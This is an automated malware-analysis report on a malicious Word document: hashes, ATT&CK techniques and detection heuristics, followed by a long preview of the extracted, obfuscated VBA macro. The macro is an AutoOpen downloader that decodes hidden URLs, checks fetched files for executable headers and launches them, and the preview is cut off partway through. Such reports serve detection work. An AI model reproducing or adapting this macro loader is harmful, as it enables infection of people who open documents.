Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 e054fee8e166f73b…

MALICIOUS

Office (OLE) / .DOC

270.0 KB Created: 2023-03-21 21:40:00 Authoring application: Microsoft Office Word First seen: 2023-03-22
MD5: c8898ca0af2861682e1fb970ae4cdb7e SHA-1: d58c7c6a2a86b825ca042c6b1493ac60e1d85c89 SHA-256: e054fee8e166f73b9213cbd2c4fb5b22ce158d7cc913878049ba3dbe70158592
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The macro utilizes obfuscated calls to `CreateObject` and `CallByName`, indicating an attempt to execute arbitrary code. This is a common technique for downloading and executing further malicious payloads. The presence of an `AutoOpen` macro further supports this malicious intent.

Heuristics 8

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set LTHEL = CreateObject(kptidmKW)
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    CallByName GBu, PGs, 1
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 36528 bytes
SHA-256: 1a87294cac61748fee6afd9d25f7102dec340248fb552e061d0628f337952d15
Detection
ClamAV: No threats found
Obfuscation or payload: likely
205 of 267 identifiers look randomly generated (e.g. 'wXNfGpJHwVRmsbMtsMFtjyxupoAWZoglBUOGPqbs') — consistent with name-mangling obfuscation. Carved artifact contains 11 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub wjrvR(GBu As Object)
Dim PGs As String
Dim tygRp As String
Dim NUYF(8) As Long
Dim KLPD As Long
KLPD = 4
tygRp = "gphGQtpxomNCDRTKiYOCbxIncZdce"
NUYF(0) = 19
NUYF(1) = 2
NUYF(2) = 29
NUYF(3) = 24
NUYF(4) = 7
NUYF(5) = 16
NUYF(6) = 8
NUYF(7) = 16
PGs = bsMzfBIG(tygRp, NUYF, KLPD)
CallByName GBu, PGs, 1
End Sub
Sub XKDvArDP(WREqOz As Object)
Dim YuGNLkQP As String
Dim zzTcj As String
Dim hNdTS(13) As Long
Dim NYwU As Long
NYwU = 5
zzTcj = "CcsAulevosjZadfuMetiqLeXlS"
hNdTS(0) = 1
hNdTS(1) = 6
hNdTS(2) = 9
hNdTS(3) = 3
hNdTS(4) = 7
hNdTS(5) = 4
hNdTS(6) = 18
hNdTS(7) = 16
hNdTS(8) = 7
hNdTS(9) = 21
hNdTS(10) = 10
hNdTS(11) = 7
hNdTS(12) = 1
YuGNLkQP = bsMzfBIG(zzTcj, hNdTS, NYwU)
CallByName WREqOz, YuGNLkQP, 1
End Sub
Function YNVyB(eTyUXDjm As Object) As Boolean
Dim LtwA As Long
Dim ZtN As String
Dim bJStxQEj As String
Dim JBvBKkg(16) As Long
Dim bTet As Long
bTet = 6
bJStxQEj = "MaLEtDraSKsVLdVUWgASSfDtDugySYSfdcaDsiKaaq"
JBvBKkg(0) = 9
JBvBKkg(1) = 5
JBvBKkg(2) = 2
JBvBKkg(3) = 5
JBvBKkg(4) = 26
JBvBKkg(5) = 11
JBvBKkg(6) = 42
JBvBKkg(7) = 23
JBvBKkg(8) = 18
JBvBKkg(9) = 34
JBvBKkg(10) = 1
JBvBKkg(11) = 33
JBvBKkg(12) = 16
JBvBKkg(13) = 19
JBvBKkg(14) = 22
JBvBKkg(15) = 34
ZtN = bsMzfBIG(bJStxQEj, JBvBKkg, bTet)
LtwA = CallByName(eTyUXDjm, ZtN, 2)
If LtwA = 200 Then
YNVyB = True
End If
End Function
Function zXQYF() As Object
Dim yaZPd As String
Dim hniUqw As String
Dim yXICt(56) As Long
Dim SpDgcnU As Long
SpDgcnU = 26
hniUqw = "SeMiwvhpiLyOtZpgimZepiomSIHTRNshtflYcjSnJtqMTI.DfixbeIBxbeFvlQQNznNDitrBAocieZZpscjsuQRWwtyYTOYet"
yXICt(0) = 1
yXICt(1) = 37
yXICt(2) = 71
yXICt(3) = 4
yXICt(4) = 8
yXICt(5) = 13
yXICt(6) = 4
yXICt(7) = 40
yXICt(8) = 16
yXICt(9) = 47
yXICt(10) = 59
yXICt(11) = 4
yXICt(12) = 35
yXICt(13) = 2
yXICt(14) = 1
yXICt(15) = 11
yXICt(16) = 31
yXICt(17) = 13
yXICt(18) = 2
yXICt(19) = 18
yXICt(20) = 12
yXICt(21) = 52
yXICt(22) = 38
yXICt(23) = 2
yXICt(24) = 37
yXICt(25) = 13
yXICt(26) = 79
yXICt(27) = 19
yXICt(28) = 42
yXICt(29) = 62
yXICt(30) = 39
yXICt(31) = 97
yXICt(32) = 67
yXICt(33) = 13
yXICt(34) = 6
yXICt(35) = 6
yXICt(36) = 70
yXICt(37) = 45
yXICt(38) = 18
yXICt(39) = 52
yXICt(40) = 13
yXICt(41) = 23
yXICt(42) = 97
yXICt(43) = 2
yXICt(44) = 3
yXICt(45) = 36
yXICt(46) = 46
yXICt(47) = 28
yXICt(48) = 41
yXICt(49) = 90
yXICt(50) = 27
yXICt(51) = 58
yXICt(52) = 78
yXICt(53) = 33
yXICt(54) = 2
yXICt(55) = 48
yaZPd = bsMzfBIG(hniUqw, yXICt, SpDgcnU)
Set zXQYF = LTHEL(yaZPd)
End Function
Function wxw(nLarBNF As Object) As String
Dim orOReIa As String
Dim DIrYGLXe As String
Dim uwpT(22) As Long
Dim XJn As Long
XJn = 12
DIrYGLXe = "foAzkjCDnyEAnAdmgeBrCMDIdozhSrDIBwCBkmsVIRSHpPUroaReKzBsTsIXoofbpDixio"
uwpT(0) = 20
uwpT(1) = 18
uwpT(2) = 39
uwpT(3) = 45
uwpT(4) = 2
uwpT(5) = 9
uwpT(6) = 39
uwpT(7) = 18
uwpT(8) = 19
uwpT(9) = 2
uwpT(10) = 15
uwpT(11) = 10
uwpT(12) = 43
uwpT(13) = 34
uwpT(14) = 56
uwpT(15) = 12
uwpT(16) = 43
uwpT(17) = 63
uwpT(18) = 52
uwpT(19) = 40
uwpT(20) = 5
uwpT(21) = 24
orOReIa = bsMzfBIG(DIrYGLXe, uwpT, XJn)
wxw = CallByName(nLarBNF, orOReIa, 2)
End Function
Function LTHEL(kptidmKW As String) As Object
Set LTHEL = CreateObject(kptidmKW)
End Function
Sub dvk(QtDtwb As Object, blGasaQ As String)
Dim NIFwjt As String
Dim iJxe As String
Dim LdadHTg(27) As Long
Dim UUvM As Long
UUvM = 10
iJxe = "aeIDRlfBiTHhjgWfbyopimYHjRfdDuFSvTIMTvCNnkXcySosvHXtovEnHcvTCuqhbKgenPSdR"
LdadHTg(0) = 32
LdadHTg(1) = 1
LdadHTg(2) = 33
LdadHTg(3) = 2
LdadHTg(4) = 10
LdadHTg(5) = 19
LdadHTg(6) = 31
LdadHTg(7) = 9
LdadHTg(8) = 6
LdadHTg(9) = 2
LdadHTg(10) = 28
LdadHTg(11) = 73
LdadHTg(12) = 0
LdadHTg(13) = 72
LdadHTg(14) = 33
LdadHTg(15) = 66
LdadHTg(16) = 73
LdadHTg(17) = 40
LdadHTg(18) = 37
LdadHTg(19) = 41
LdadHTg(20) = 71
LdadHTg(21) = 30
LdadHTg(22) = 11
LdadHTg(23) = 34
LdadHTg(24) = 9
LdadHTg(25) = 54
LdadHTg(26) = 53
NIFwjt = bsMzfBIG(iJxe, LdadHTg, UUvM)
CallByName QtDtwb, NIFwjt, 1, blGasaQ, 2
End Sub
Sub OZssS(efeUMqWg As Object)
Dim EOIZsde As String
Dim crZY As String
Dim vUhduR(5) As Long
Dim WMuqm As Long
WMuqm = 4
crZY = "knoSJeBgsdxAsGsodAt"
vUhduR(0) = 4
vUhduR(1) = 6
vUhduR(2) = 2
vUhduR(3) = 10
vUhduR(4) = 5
EOIZsde = bsMzfBIG(crZY, vUhduR, WMuqm)
CallByName efeUMqWg, EOIZsde, 1
End Sub
Function smEiHjg(OeYZFrbB As Object, BuMWF As String) As Object
Dim ZenRXRg As Variant
Dim UpggnW As String
Dim zDxdq As String
Dim lwdYtLU(13) As Long
Dim TlG As Long
TlG = 9
zDxdq = "EmPazjfZmaRnYQZaNpajqUdVXmTtXGHBknImgjqpbSWXeNskcaSRe"
lwdYtLU(0) = 17
lwdYtLU(1) = 4
lwdYtLU(2) = 2
lwdYtLU(3) = 45
lwdYtLU(4) = 47
lwdYtLU(5) = 18
lwdYtLU(6) = 4
lwdYtLU(7) = 49
lwdYtLU(8) = 45
lwdYtLU(9) = 32
lwdYtLU(10) = 3
lwdYtLU(11) = 7
lwdYtLU(12) = 51
UpggnW = bsMzfBIG(zDxdq, lwdYtLU, TlG)
ZenRXRg = CVar(BuMWF)
Set smEiHjg = CallByName(OeYZFrbB, UpggnW, 1, ZenRXRg)
End Function
Function Nkh() As Object
Dim MvhxuQ As String
Dim PsEo As String
Dim RWkrF(25) As Long
Dim iyezwI As Long
iyezwI = 17
PsEo = "MaPEmMpUvFBLxnUAtfSSKlsojwLpqbAUiDpUBwOjdzHYSEvGFmUfHXcIpjTuyeqwqVAqpNgBjhlbmceSvCtvEtjiSNGcNcldejsTHXLag.WlHDbMkkIHbYAPbGVb"
RWkrF(0) = 19
RWkrF(1) = 74
RWkrF(2) = 62
RWkrF(3) = 22
RWkrF(4) = 22
RWkrF(5) = 106
RWkrF(6) = 16
RWkrF(7) = 7
RWkrF(8) = 7
RWkrF(9) = 22
RWkrF(10) = 33
RWkrF(11) = 55
RWkrF(12) = 2
RWkrF(13) = 17
RWkrF(14) = 33
RWkrF(15) = 24
RWkrF(16) = 14
RWkrF(17) = 100
RWkrF(18) = 23
RWkrF(19) = 106
RWkrF(20) = 40
RWkrF(21) = 75
RWkrF(22) = 22
RWkrF(23) = 18
RWkrF(24) = 27
MvhxuQ = bsMzfBIG(PsEo, RWkrF, iyezwI)
Set Nkh = LTHEL(MvhxuQ)
End Function
Function PNitqPV() As Object
Dim aoueK As String
Dim mUxNSN As String
Dim flQ(27) As Long
Dim DCEYTBi As Long
DCEYTBi = 26
mUxNSN = "WBUtZKfuECuXSdxkSLnvVpKHutw5ZoVnXMaWl.YDhEMKAtXwnFHhPGOfcltYJvHtsdCNk1FvbihcPaMubLpQsWjBwDpRiHT.uRretrDiadiwOYYbcxKHyddyc.mZpLeIPieAseRpAtBwpJqtXqeJfnnxbzrnmJ"
flQ(0) = 1
flQ(1) = 74
flQ(2) = 19
flQ(3) = 24
flQ(4) = 4
flQ(5) = 4
flQ(6) = 22
flQ(7) = 38
flQ(8) = 1
flQ(9) = 74
flQ(10) = 19
flQ(11) = 24
flQ(12) = 4
flQ(13) = 4
flQ(14) = 22
flQ(15) = 92
flQ(16) = 100
flQ(17) = 143
flQ(18) = 8
flQ(19) = 100
flQ(20) = 65
flQ(21) = 4
flQ(22) = 38
flQ(23) = 28
flQ(24) = 38
flQ(25) = 70
flQ(26) = 59
aoueK = bsMzfBIG(mUxNSN, flQ, DCEYTBi)
Set PNitqPV = LTHEL(aoueK)
End Function
Function LrB(UNjKKr() As Byte) As Integer
LrB = 0
If UBound(UNjKKr) > 1 Then
If UNjKKr(0) = 77 And UNjKKr(1) = 90 Then
LrB = 1
End If
If UNjKKr(0) = 80 And UNjKKr(1) = 75 Then
LrB = 2
End If
End If
End Function
Function sBy() As String
Dim wgFStL As String
Dim GtSq As String
Dim FnaHr(12) As Long
Dim qnyh As Long
qnyh = 6
GtSq = "JYDPhmfVLsWihsmlXlhv"
FnaHr(0) = 5
FnaHr(1) = 5
FnaHr(2) = 6
FnaHr(3) = 6
FnaHr(4) = 10
FnaHr(5) = 10
FnaHr(6) = 10
FnaHr(7) = 2
FnaHr(8) = 4
FnaHr(9) = 18
FnaHr(10) = 0
FnaHr(11) = 19
wgFStL = bsMzfBIG(GtSq, FnaHr, qnyh)
XUzgZyCw = Now()
sBy = Format(XUzgZyCw, wgFStL)
End Function
Function bsMzfBIG(GCvEo As String, eZZi() As Long, hcHBZ As Long) As String
Dim vpUVUJ As String
Dim FkF As Variant
hcHBZ = hcHBZ - 1
For boGFrxn = 0 To hcHBZ
FkF = Mid(GCvEo, eZZi(boGFrxn), 1)
vpUVUJ = vpUVUJ & FkF
Next boGFrxn
bsMzfBIG = vpUVUJ
End Function
Sub aueJvR(vkhZC As Object, MEbO As String)
Dim ysINeJGJ As String
Dim NWz As String
Dim qOXmc(12) As Long
Dim XMTE As Long
XMTE = 4
NWz = "KpiyeJzqQRxGeiPBWCGcQLaOnnKxXBemb"
qOXmc(0) = 24
qOXmc(1) = 2
qOXmc(2) = 5
qOXmc(3) = 25
qOXmc(4) = 13
qOXmc(5) = 18
qOXmc(6) = 0
qOXmc(7) = 5
qOXmc(8) = 22
qOXmc(9) = 19
qOXmc(10) = 2
qOXmc(11) = 12
ysINeJGJ = bsMzfBIG(NWz, qOXmc, XMTE)
Dim XgqnGDqk As String
Dim SFb As String
Dim GLlCppjq(8) As Long
Dim pndsHwYl As Long
pndsHwYl = 3
SFb = "fLhHBUoDErcbKTWGl"
GLlCppjq(0) = 16
GLlCppjq(1) = 9
GLlCppjq(2) = 14
GLlCppjq(3) = 6
GLlCppjq(4) = 7
GLlCppjq(5) = 8
GLlCppjq(6) = 12
GLlCppjq(7) = 11
XgqnGDqk = bsMzfBIG(SFb, GLlCppjq, pndsHwYl)
CallByName vkhZC, ysINeJGJ, 1, XgqnGDqk, MEbO, False
Dim hHV As String
Dim QyCofD As String
Dim ftbg(9) As Long
Dim unJqLG As Long
unJqLG = 6
QyCofD = "DwpcPSobDmtOkMSkzngjEVliEadSRFEhcDHIiGpo"
ftbg(0) = 12
ftbg(1) = 3
ftbg(2) = 11
ftbg(3) = 24
ftbg(4) = 7
ftbg(5) = 18
ftbg(6) = 39
ftbg(7) = 35
ftbg(8) = 27
hHV = bsMzfBIG(QyCofD, ftbg, unJqLG)
CallByName vkhZC, hHV, 4, 4, 13056
End Sub
Sub CWYBBHSl(COmRKTde As String)
Dim qPaiR As Object
Dim fKaGQh As String
Dim zvaEp As String
Dim THYRl As String
Dim FyuvWW As String
Dim iKi(13) As Long
Dim TXNPCE As Long
TXNPCE = 12
FyuvWW = "wMqeqrr2FcrMbHxEmeWIwZeQLmxsIGeRHWIVvuig3.eFy"
iKi(0) = 6
iKi(1) = 4
iKi(2) = 40
iKi(3) = 28
iKi(4) = 37
iKi(5) = 6
iKi(6) = 41
iKi(7) = 8
iKi(8) = 42
iKi(9) = 4
iKi(10) = 15
iKi(11) = 4
iKi(12) = 31
THYRl = bsMzfBIG(FyuvWW, iKi, TXNPCE)
Dim aUe As String
Dim RZAwLjg As String
Dim YmwRZLKi(3) As Long
Dim zHHwqVb As Long
zHHwqVb = 3
RZAwLjg = "/gQfuV YsII"
YmwRZLKi(0) = 1
YmwRZLKi(1) = 9
YmwRZLKi(2) = 7
aUe = bsMzfBIG(RZAwLjg, YmwRZLKi, zHHwqVb)
Dim YDcpueKp As String
Dim igCMkcu As String
Dim fVVKQDS(2) As Long
Dim fCpDX As Long
fCpDX = 2
igCMkcu = "TVxRvptjfiwriv\\"
fVVKQDS(0) = 15
fVVKQDS(1) = 15
YDcpueKp = bsMzfBIG(igCMkcu, fVVKQDS, fCpDX)
zvaEp = """"
Set qPaiR = Nkh()
fKaGQh = qPaiR.Namespace(&H25).Self.Path
fKaGQh = fKaGQh & YDcpueKp
fKaGQh = fKaGQh & THYRl
aUe = aUe & zvaEp
aUe = aUe & COmRKTde
aUe = aUe & zvaEp
omPwWVCA qPaiR, fKaGQh, aUe
End Sub
Function keKJKYgN() As String
Dim rzQKGCD As String
Dim gblcklbp As String
Dim znw As String
Dim Oll As String
Dim fQbE(10) As Long
Dim DGCCqFSY As Long
DGCCqFSY = 4
Oll = "aPhzZIadqAtURytjYk"
fQbE(0) = 2
fQbE(1) = 1
fQbE(2) = 11
fQbE(3) = 3
fQbE(4) = 12
fQbE(5) = 3
fQbE(6) = 17
fQbE(7) = 7
fQbE(8) = 10
fQbE(9) = 5
znw = bsMzfBIG(Oll, fQbE, DGCCqFSY)
Dim PxjZr As String
Dim UNET As String
Dim IpZHlqt(1) As Long
Dim vxTEzaN As Long
vxTEzaN = 1
UNET = "H\XzQ"
IpZHlqt(0) = 2
PxjZr = bsMzfBIG(UNET, IpZHlqt, vxTEzaN)
rzQKGCD = CallByName(ActiveDocument, znw, 2)
gblcklbp = sBy()
keKJKYgN = rzQKGCD & PxjZr & gblcklbp
End Function
Sub NFr(uGDxqhUx As Object, JjL As String)
Dim xTfuwIK As String
Dim mvnnNCaq As String
Dim dcydsa(13) As Long
Dim EvCenz As Long
EvCenz = 12
mvnnNCaq = "CZhYeVodTTrWERTByVTpmXEPrtqvFlTjuCFIpbdHNidOPrfgVCeDxyedfaLwULsvDeAGwuLoquTeRNADeopqoQFjahWUeXX"
dcydsa(0) = 1
dcydsa(1) = 11
dcydsa(2) = 5
dcydsa(3) = 58
dcydsa(4) = 26
dcydsa(5) = 5
dcydsa(6) = 29
dcydsa(7) = 7
dcydsa(8) = 30
dcydsa(9) = 8
dcydsa(10) = 5
dcydsa(11) = 11
dcydsa(12) = 17
xTfuwIK = bsMzfBIG(mvnnNCaq, dcydsa, EvCenz)
CallByName uGDxqhUx, xTfuwIK, 1, JjL
End Sub
Sub APcxb(PuC() As Byte, ZtAKPoot As String)
Dim DGICK As Object
Set DGICK = HmZkZX()
wjrvR DGICK
RVQ DGICK
oBD DGICK, PuC
dvk DGICK, ZtAKPoot
XKDvArDP DGICK
End Sub
Sub RVQ(axpEzba As Object)
Dim ivrmMHZ As String
Dim xltwZDr As String
Dim MsjIxgxS(11) As Long
Dim puq As Long
puq = 4
xltwZDr = "ZihKERDTEkurFyVmUBTPapiLSIeTn"
MsjIxgxS(0) = 8
MsjIxgxS(1) = 14
MsjIxgxS(2) = 22
MsjIxgxS(3) = 27
MsjIxgxS(4) = 5
MsjIxgxS(5) = 6
MsjIxgxS(6) = 3
MsjIxgxS(7) = 15
MsjIxgxS(8) = 9
MsjIxgxS(9) = 16
MsjIxgxS(10) = 18
ivrmMHZ = bsMzfBIG(xltwZDr, MsjIxgxS, puq)
CallByName axpEzba, ivrmMHZ, 4, 1
End Sub
Sub AutoOpen()
Dim jzOk As String
Dim iMN As String
Dim YLDFGGK As String
Dim IKyoC(45) As Long
Dim VnYBY As Long
VnYBY = 37
YLDFGGK = "QnHumIfHxhgVdbiTeAyx/VwXdbytEAgWdwcoxbxhIwce.mXMnUbdAZdChaokP/okZGesfoeSCOCModvisVsnizWitlTDaBiJsgRBMzaUpqVGDwKQqktZAgTyytrNqHMrqmRA:YKlSVhpgihhlnHFQzulEzicgQuXerDlwhMMPk/ZtWpfSmzqVZuxyNYXIma.tyyzBEITasaWLSsMsznVeVfpA/xNZnteJargC/GnotDfyJAcC"
IKyoC(0) = 10
IKyoC(1) = 28
IKyoC(2) = 28
IKyoC(3) = 105
IKyoC(4) = 133
IKyoC(5) = 21
IKyoC(6) = 21
IKyoC(7) = 13
IKyoC(8) = 58
IKyoC(9) = 123
IKyoC(10) = 14
IKyoC(11) = 58
IKyoC(12) = 86
IKyoC(13) = 15
IKyoC(14) = 45
IKyoC(15) = 36
IKyoC(16) = 123
IKyoC(17) = 11
IKyoC(18) = 45
IKyoC(19) = 11
IKyoC(20) = 17
IKyoC(21) = 21
IKyoC(22) = 90
IKyoC(23) = 58
IKyoC(24) = 2
IKyoC(25) = 11
IKyoC(26) = 4
IKyoC(27) = 58
IKyoC(28) = 11
IKyoC(29) = 17
IKyoC(30) = 21
IKyoC(31) = 15
IKyoC(32) = 19
IKyoC(33) = 1
IKyoC(34) = 48
IKyoC(35) = 10
IKyoC(36) = 21
IKyoC(37) = 73
IKyoC(38) = 10
IKyoC(39) = 175
IKyoC(40) = 194
IKyoC(41) = 103
IKyoC(42) = 111
IKyoC(43) = 126
IKyoC(44) = 123
iMN = bsMzfBIG(YLDFGGK, IKyoC, VnYBY)
Dim GtAYeDdH As String
Dim QYhMqI As String
Dim yKXJnHm(75) As Long
Dim pvHM As Long
pvHM = 45
QYhMqI = "pwtUQDRAKpomdsmhSODInguGH.glOTCRCQGXpNWEQpcsAwGQUKWwOvhHKvgpdiprgMKyFyBnkwnKtnWZDXLOYD0pdGOEgxr/MCxopRPFgjlLgngfdQWIBchoKsWVMURlIaMvuxvGkUWLj/FvTBQvDcim8WTPgzQ/qSM:tnUdMvAt/YyR-OBLfYauJXD/pdjMHaIE"
yKXJnHm(0) = 16
yKXJnHm(1) = 3
yKXJnHm(2) = 3
yKXJnHm(3) = 1
yKXJnHm(4) = 164
yKXJnHm(5) = 96
yKXJnHm(6) = 96
yKXJnHm(7) = 22
yKXJnHm(8) = 13
yKXJnHm(9) = 43
yKXJnHm(10) = 22
yKXJnHm(11) = 64
yKXJnHm(12) = 11
yKXJnHm(13) = 23
yKXJnHm(14) = 1
yKXJnHm(15) = 26
yKXJnHm(16) = 54
yKXJnHm(17) = 21
yKXJnHm(18) = 96
yKXJnHm(19) = 2
yKXJnHm(20) = 1
yKXJnHm(21) = 177
yKXJnHm(22) = 130
yKXJnHm(23) = 13
yKXJnHm(24) = 12
yKXJnHm(25) = 62
yKXJnHm(26) = 21
yKXJnHm(27) = 96
yKXJnHm(28) = 87
yKXJnHm(29) = 62
yKXJnHm(30) = 1
yKXJnHm(31) = 39
yKXJnHm(32) = 66
yKXJnHm(33) = 5
yKXJnHm(34) = 85
yKXJnHm(35) = 22
yKXJnHm(36) = 22
yKXJnHm(37) = 83
yKXJnHm(38) = 18
yKXJnHm(39) = 6
yKXJnHm(40) = 153
yKXJnHm(41) = 39
yKXJnHm(42) = 130
yKXJnHm(43) = 112
yKXJnHm(44) = 96
yKXJnHm(45) = 24
yKXJnHm(46) = 181
yKXJnHm(47) = 75
yKXJnHm(48) = 179
yKXJnHm(49) = 189
yKXJnHm(50) = 129
yKXJnHm(51) = 141
yKXJnHm(52) = 93
yKXJnHm(53) = 54
yKXJnHm(54) = 180
yKXJnHm(55) = 130
yKXJnHm(56) = 174
yKXJnHm(57) = 94
yKXJnHm(58) = 55
yKXJnHm(59) = 169
yKXJnHm(60) = 10
yKXJnHm(61) = 72
yKXJnHm(62) = 37
yKXJnHm(63) = 153
yKXJnHm(64) = 6
yKXJnHm(65) = 139
yKXJnHm(66) = 107
yKXJnHm(67) = 47
yKXJnHm(68) = 174
yKXJnHm(69) = 165
yKXJnHm(70) = 27
yKXJnHm(71) = 104
yKXJnHm(72) = 168
yKXJnHm(73) = 195
yKXJnHm(74) = 65
GtAYeDdH = bsMzfBIG(QYhMqI, yKXJnHm, pvHM)
Dim AOZ As String
Dim fjWubgRU As String
Dim RmZbmre(43) As Long
Dim gInjm As Long
gInjm = 40
fjWubgRU = "lWrcaE/lOLFDRmZWZlsHGhcKMrWCBXHEuYJiffbDOtKFZuqLpzlwohVfnMIPRtHwlUhpcgcfzwJdSYyRtudQFXUqBAOKyWihmFWTevIXqgQbL:DiRnhALlghfduxAUA/poTKxwNhWnrnvLsahyXmnzLRboDaocivXPg/yrOywmAAOC8CXqDYQohyIhyrBcsigzYbfFHNviqgQfhFnJisXhrDEuXmHGPiHfQoGpIttOYeNJwWkQd/quNORQFdWYoitvb/LPTHOFpkJeGixbiUQR.QFigNglxrApPcuWHBBWQJopbgynaeyw"
RmZbmre(0) = 22
RmZbmre(1) = 42
RmZbmre(2) = 42
RmZbmre(3) = 49
RmZbmre(4) = 110
RmZbmre(5) = 7
RmZbmre(6) = 7
RmZbmre(7) = 4
RmZbmre(8) = 53
RmZbmre(9) = 57
RmZbmre(10) = 37
RmZbmre(11) = 101
RmZbmre(12) = 76
RmZbmre(13) = 101
RmZbmre(14) = 3
RmZbmre(15) = 5
RmZbmre(16) = 42
RmZbmre(17) = 36
RmZbmre(18) = 53
RmZbmre(19) = 57
RmZbmre(20) = 4
RmZbmre(21) = 36
RmZbmre(22) = 47
RmZbmre(23) = 279
RmZbmre(24) = 37
RmZbmre(25) = 3
RmZbmre(26) = 7
RmZbmre(27) = 36
RmZbmre(28) = 14
RmZbmre(29) = 5
RmZbmre(30) = 70
RmZbmre(31) = 101
RmZbmre(32) = 19
RmZbmre(33) = 7
RmZbmre(34) = 175
RmZbmre(35) = 13
RmZbmre(36) = 59
RmZbmre(37) = 11
RmZbmre(38) = 3
RmZbmre(39) = 7
RmZbmre(40) = 72
RmZbmre(41) = 117
RmZbmre(42) = 45
AOZ = bsMzfBIG(fjWubgRU, RmZbmre, gInjm)
Dim FLf As String
Dim sLn As String
Dim NCfB(109) As Long
Dim pmXiAAa As Long
pmXiAAa = 52
sLn = "wbMtvZhltDVrEoCyhaAwqOWtcTpAY//uKhifYibtrOviAiaWmQwrPupoIhDlrrWusnCfZwLAldeUptxSeAdLrxnvEZLnCkCAl/uITKXJkDoqtHEGBVfdagfCdcSirliEPhAghuoCvbyJtg:hAgRJwWStDMLcVRr.KTCmshJTCHspOjsigMxESw-xNLeBapsgwsoCWbrxosMem/tYCuCOFJMiGeCBICuVsyXxQiGXMZHCiRUDcYItBedfGDDgnUIZnhfWIRXIvwyOvzvhyekmZilJysZLMRnca/iogrlYdOKSdYJTFgGPU"
NCfB(0) = 7
NCfB(1) = 4
NCfB(2) = 4
NCfB(3) = 27
NCfB(4) = 143
NCfB(5) = 30
NCfB(6) = 30
NCfB(7) = 65
NCfB(8) = 27
NCfB(9) = 35
NCfB(10) = 12
NCfB(11) = 35
NCfB(12) = 4
NCfB(13) = 32
NCfB(14) = 18
NCfB(15) = 8
NCfB(16) = 14
NCfB(17) = 32
NCfB(18) = 4
NCfB(19) = 74
NCfB(20) = 14
NCfB(21) = 14
NCfB(22) = 12
NCfB(23) = 18
NCfB(24) = 74
NCfB(25) = 5
NCfB(26) = 75
NCfB(27) = 66
NCfB(28) = 4
NCfB(29) = 32
NCfB(30) = 12
NCfB(31) = 75
NCfB(32) = 65
NCfB(33) = 160
NCfB(34) = 14
NCfB(35) = 12
NCfB(36) = 118
NCfB(37) = 30
NCfB(38) = 25
NCfB(39) = 118
NCfB(40) = 35
NCfB(41) = 183
NCfB(42) = 2
NCfB(43) = 35
NCfB(44) = 66
NCfB(45) = 30
NCfB(46) = 118
NCfB(47) = 36
NCfB(48) = 4
NCfB(49) = 104
NCfB(50) = 66
NCfB(51) = 30
NCfB(52) = 67
NCfB(53) = 256
NCfB(54) = 266
NCfB(55) = 262
NCfB(56) = 295
NCfB(57) = 214
NCfB(58) = 96
NCfB(59) = 300
NCfB(60) = 156
NCfB(61) = 292
NCfB(62) = 272
NCfB(63) = 270
NCfB(64) = 122
NCfB(65) = 120
NCfB(66) = 31
NCfB(67) = 108
NCfB(68) = 224
NCfB(69) = 73
NCfB(70) = 230
NCfB(71) = 84
NCfB(72) = 214
NCfB(73) = 298
NCfB(74) = 219
NCfB(75) = 106
NCfB(76) = 7
NCfB(77) = 31
NCfB(78) = 47
NCfB(79) = 104
NCfB(80) = 62
NCfB(81) = 195
NCfB(82) = 54
NCfB(83) = 36
NCfB(84) = 170
NCfB(85) = 8
NCfB(86) = 105
NCfB(87) = 276
NCfB(88) = 18
NCfB(89) = 141
NCfB(90) = 170
NCfB(91) = 245
NCfB(92) = 233
NCfB(93) = 154
NCfB(94) = 290
NCfB(95) = 89
NCfB(96) = 169
NCfB(97) = 43
NCfB(98) = 41
NCfB(99) = 60
NCfB(100) = 113
NCfB(101) = 277
NCfB(102) = 292
NCfB(103) = 61
NCfB(104) = 62
NCfB(105) = 7
NCfB(106) = 195
NCfB(107) = 296
NCfB(108) = 234
FLf = bsMzfBIG(sLn, NCfB, pmXiAAa)
Dim zpZBUM As String
Dim gHCbtia As String
Dim orAnAYq(57) As Long
Dim sBkemrB As Long
sBkemrB = 47
